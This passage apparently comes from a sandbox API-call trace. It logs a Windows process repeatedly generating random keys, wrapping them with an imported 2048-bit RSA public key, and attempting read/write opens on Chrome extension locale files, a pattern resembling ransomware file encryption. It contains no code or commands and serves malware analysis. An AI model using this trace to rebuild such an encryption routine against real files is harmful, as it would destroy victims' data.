pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.203] CryptEncrypt (in: hKey=0x66adff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa610000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa610000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.203] GetLastError () returned 0x0 [0240.203] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.203] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.205] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.207] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.208] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.208] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.208] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.209] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.212] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.212] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.212] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.214] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad9f8) returned 1 [0240.214] CryptGetKeyParam (in: hKey=0x66ad9f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.214] CryptEncrypt (in: hKey=0x66ad9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa620000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa620000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.214] GetLastError () returned 0x0 [0240.215] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.215] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.216] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ae038) returned 1 [0240.216] CryptGetKeyParam (in: hKey=0x66ae038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.216] CryptEncrypt (in: hKey=0x66ae038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa630000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa630000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.217] GetLastError () returned 0x0 [0240.217] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.217] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\km\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.218] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.220] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.221] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.221] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.221] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.221] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.225] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.225] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.225] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.225] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.227] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad878) returned 1 [0240.227] CryptGetKeyParam (in: hKey=0x66ad878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.227] CryptEncrypt (in: hKey=0x66ad878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa640000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa640000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.227] GetLastError () returned 0x0 [0240.227] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.227] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.229] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad8b8) returned 1 [0240.229] CryptGetKeyParam (in: hKey=0x66ad8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.229] CryptEncrypt (in: hKey=0x66ad8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa650000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa650000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.229] GetLastError () returned 0x0 [0240.229] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.229] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.231] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.236] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.236] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.236] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.236] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.238] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.239] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.239] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.240] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.240] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.242] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adfb8) returned 1 [0240.242] CryptGetKeyParam (in: hKey=0x66adfb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.242] CryptEncrypt (in: hKey=0x66adfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa660000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa660000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.242] GetLastError () returned 0x0 [0240.242] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.242] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.244] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ada38) returned 1 [0240.244] CryptGetKeyParam (in: hKey=0x66ada38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.244] CryptEncrypt (in: hKey=0x66ada38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa670000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa670000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.244] GetLastError () returned 0x0 [0240.244] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.244] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.245] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.247] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.249] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.249] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.249] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.253] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.253] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.253] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.253] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.255] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad9b8) returned 1 [0240.255] CryptGetKeyParam (in: hKey=0x66ad9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.255] CryptEncrypt (in: hKey=0x66ad9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa680000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa680000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.255] GetLastError () returned 0x0 [0240.255] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.255] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.257] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ada78) returned 1 [0240.257] CryptGetKeyParam (in: hKey=0x66ada78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.257] CryptEncrypt (in: hKey=0x66ada78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa690000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa690000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.257] GetLastError () returned 0x0 [0240.257] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.257] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.259] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.261] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.263] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.263] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.263] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.263] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.265] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.267] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.267] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.267] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.268] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.270] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad8f8) returned 1 [0240.270] CryptGetKeyParam (in: hKey=0x66ad8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.270] CryptEncrypt (in: hKey=0x66ad8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa6a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa6a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.270] GetLastError () returned 0x0 [0240.270] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.270] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.272] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66add78) returned 1 [0240.272] CryptGetKeyParam (in: hKey=0x66add78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.272] CryptEncrypt (in: hKey=0x66add78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa6b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa6b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.272] GetLastError () returned 0x0 [0240.272] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.272] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.273] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.277] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.277] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.277] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.279] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.280] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.295] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.295] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.296] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.298] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad978) returned 1 [0240.298] CryptGetKeyParam (in: hKey=0x66ad978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.298] CryptEncrypt (in: hKey=0x66ad978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa6c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa6c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.298] GetLastError () returned 0x0 [0240.298] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.298] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.300] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ad938) returned 1 [0240.300] CryptGetKeyParam (in: hKey=0x66ad938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.300] CryptEncrypt (in: hKey=0x66ad938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa6d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa6d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.300] GetLastError () returned 0x0 [0240.300] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.300] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.301] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.306] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.306] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.306] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.308] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.309] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.309] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.309] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.309] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.312] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66addf8) returned 1 [0240.312] CryptGetKeyParam (in: hKey=0x66addf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.312] CryptEncrypt (in: hKey=0x66addf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa6e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa6e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.312] GetLastError () returned 0x0 [0240.312] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.312] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.314] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adaf8) returned 1 [0240.314] CryptGetKeyParam (in: hKey=0x66adaf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.314] CryptEncrypt (in: hKey=0x66adaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa6f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa6f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.314] GetLastError () returned 0x0 [0240.314] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.314] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application 